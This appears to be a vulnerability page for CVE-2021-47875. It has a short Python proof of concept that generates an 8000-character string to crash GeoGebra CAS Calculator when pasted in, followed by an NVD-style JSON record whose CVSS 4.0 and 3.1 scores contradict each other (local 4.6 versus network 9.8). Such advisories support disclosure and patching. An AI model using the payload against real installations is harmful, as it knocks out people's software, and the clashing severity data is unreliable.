CVE-2021-47875

python # CVE-2021-47875 PoC - GeoGebra CAS Calculator DoS # Generate payload with 8000 repeated characters payload = 'A' * 8000 # Method 1: Copy to clipboard and paste manually import pyperclip pyperclip.copy(payload) print('Payload copied to clipboard. Paste into GeoGebra CAS Calculator input field.') # Method 2: Direct file creation for testing with open('payload.txt', 'w') as f: f.write(payload) print('Payload saved to payload.txt') # Method 3: Simulate the exploit programmatically # Note: This requires GUI automation tools like PyAutoGUI or direct application injection def trigger_dos(): """ Steps to trigger the vulnerability: 1. Launch GeoGebra CAS Calculator 2. Locate the input field/command line 3. Paste the 8000-character payload 4. Application will crash immediately """ pass print('CVE-2021-47875 PoC - GeoGebra CAS Calculator Buffer Overflow DoS') print(f'Payload length: {len(payload)} characters') print('Target: GeoGebra CAS Calculator <= 6.0.631.0')

{"cve": {"id": "CVE-2021-47875", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:20.870", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "GeoGebra CAS Calculator 6.0.631.0 contains a denial of service vulnerability that allows attackers to crash the application by generating a large buffer overflow. Attackers can create a payload with 8000 repeated characters and paste it into the calculator's input field to trigger an application crash."}, {"lang": "es", "value": "GeoGebra CAS Calculator 6.0.631.0 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes bloquear la aplicación al generar un gran desbordamiento de búfer. Los atacantes pueden crear una carga útil con 8000 caracteres repetidos y pegarla en el campo de entrada de la calculadora para provocar un bloqueo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49655", "source": "[email protected]"}, {"url": "https://www.geogebra.org", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/geogebra-cas-calculator-denial-of-service", "source": "[email protected]"}]}}